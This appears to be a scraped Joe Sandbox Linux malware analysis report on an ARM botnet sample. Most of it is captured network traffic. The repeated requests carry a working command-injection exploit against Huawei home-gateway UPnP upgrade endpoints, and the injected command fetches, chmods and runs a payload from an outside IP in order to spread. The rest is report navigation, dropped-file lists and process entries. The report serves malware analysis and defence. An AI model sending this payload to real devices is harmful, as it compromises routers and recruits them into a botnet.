Mar 24, 2024 19:52:23.541567087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:52:29.684704065 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:52:41.715013981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:53:05.775656939 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2024 19:52:20.555232048 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:52:20.843666077 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report bot.arm7-20240324-1846.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.054fT9 (deleted)

/tmp/qemu-open.091bN9 (deleted)

/tmp/qemu-open.09zjx7 (deleted)

/tmp/qemu-open.0GPFv7 (deleted)

/tmp/qemu-open.0GRWQb (deleted)

/tmp/qemu-open.0HEh87 (deleted)

/tmp/qemu-open.0IUi97 (deleted)

/tmp/qemu-open.0JgD67 (deleted)

/tmp/qemu-open.0RB9G8 (deleted)

/tmp/qemu-open.0Ut0wb (deleted)

/tmp/qemu-open.0WKHE7 (deleted)

/tmp/qemu-open.0YmI8b (deleted)

/tmp/qemu-open.0bzo8a (deleted)

/tmp/qemu-open.0f7Hh9 (deleted)

/tmp/qemu-open.0fWIw7 (deleted)

/tmp/qemu-open.0gfzf9 (deleted)

/tmp/qemu-open.0lM449 (deleted)

/tmp/qemu-open.0nNRP8 (deleted)

/tmp/qemu-open.10zGo8 (deleted)

/tmp/qemu-open.17z1ia (deleted)

/tmp/qemu-open.1AAi18 (deleted)

/tmp/qemu-open.1AodPa (deleted)

/tmp/qemu-open.1BodI9 (deleted)

/tmp/qemu-open.1EUnja (deleted)

/tmp/qemu-open.1FKScb (deleted)

Linux Analysis Report
bot.arm7-20240324-1846.elf

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2024 19:52:49.974915028 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:52:50.207067966 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2024 19:53:13.802968025 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:53:15.054352999 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 24, 2024 19:53:15.295416117 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Start time (UTC):	18:51:40
Start date (UTC):	24/03/2024
Path:	/tmp/bot.arm7-20240324-1846.elf
Arguments:	/tmp/bot.arm7-20240324-1846.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:51:41
Start date (UTC):	24/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	18:51:42
Start date (UTC):	24/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	18:51:43
Start date (UTC):	24/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	18:51:45
Start date (UTC):	24/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	18:51:46
Start date (UTC):	24/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

